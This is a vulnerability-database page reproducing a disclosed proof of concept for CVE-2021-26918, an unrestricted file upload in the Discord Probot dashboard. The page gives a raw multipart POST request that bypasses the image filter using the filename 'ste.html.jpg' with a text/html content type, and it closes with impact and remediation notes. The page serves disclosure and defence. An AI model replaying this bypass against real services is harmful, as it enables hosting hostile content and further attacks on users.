Vulners
Lucene search
Discord Probot Arbitrary File Upload
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2021-26918 | 30 May 202103:00 | – | circl |
 | Discord ProBot Code Issue Vulnerability | 9 Feb 202100:00 | – | cnnvd |
 | Web Servers Suspicious File Upload (CVE-2019-16113; CVE-2021-26918; CVE-2022-26645) | 16 Nov 201400:00 | – | checkpoint_advisories |
| Probot Bot Type Confusion (CVE-2021-26918) | 24 Mar 202100:00 | – | checkpoint_advisories |
 | CVE-2021-26918 | 9 Feb 202102:07 | – | cve |
 | CVE-2021-26918 | 9 Feb 202102:07 | – | cvelist |
 | CVE-2021-26918 | 9 Feb 202103:15 | – | nvd |
 | Code injection | 9 Feb 202103:15 | – | prion |
 | PT-2021-17175 · Discord · Probot | 9 Feb 202100:00 | – | ptsecurity |
 | CVE-2021-26918 | 22 May 202520:40 | – | redhatcve |
10
`# Exploit Title: Discord Probot - Unrestricted File Upload
# Google Dork: N/A
# Date: 2021-02-08
# Exploit Author: ThelastVvV
# Vendor Homepage:probot.io
# Version:Version 2021
# Tested on: Debian 5.7.10-1parrot2
# CVE:CVE-2021-26918
About:
Probot is a discord very customizable multipurpose bot for welcome image, In-depth logs, Social commands, Music, Moderation and many more ...
# Description:
The attacker can acces to probot dashboard and use image uploader in the welcomer tab , the attacl can upload many file types due the issues of unrestricted file uploads which can be bypassed by changing multipart/form-data POST request with a specially-crafted filename or mime type.
# PoC:
POST / HTTP/1.1
Host: uploader.probot.io
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------
Content-Length: 333
Origin: https://probot.io
DNT: 1
Connection: close
Referer: https://probot.io/server/""/welcomer
-----------------------------
Content-Disposition: form-data; name="file"; filename="ste.html.jpg"
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>bypasss</title>
</head>
<body>
<div>bypass</div>
</body>
</html>
-------------------------------
Note:the link of the file will be generated depend on the content type in this case .html
# Impact
Unrestricted file uploads can be abused to exploit other vulnerable sections of an application when a file on the same or a trusted server is needed (can again lead to client-side or server-side attacks)
#Solution
File types should be restricted to only jpg ,png ,jpeg (text/img)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Feb 2021 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.00782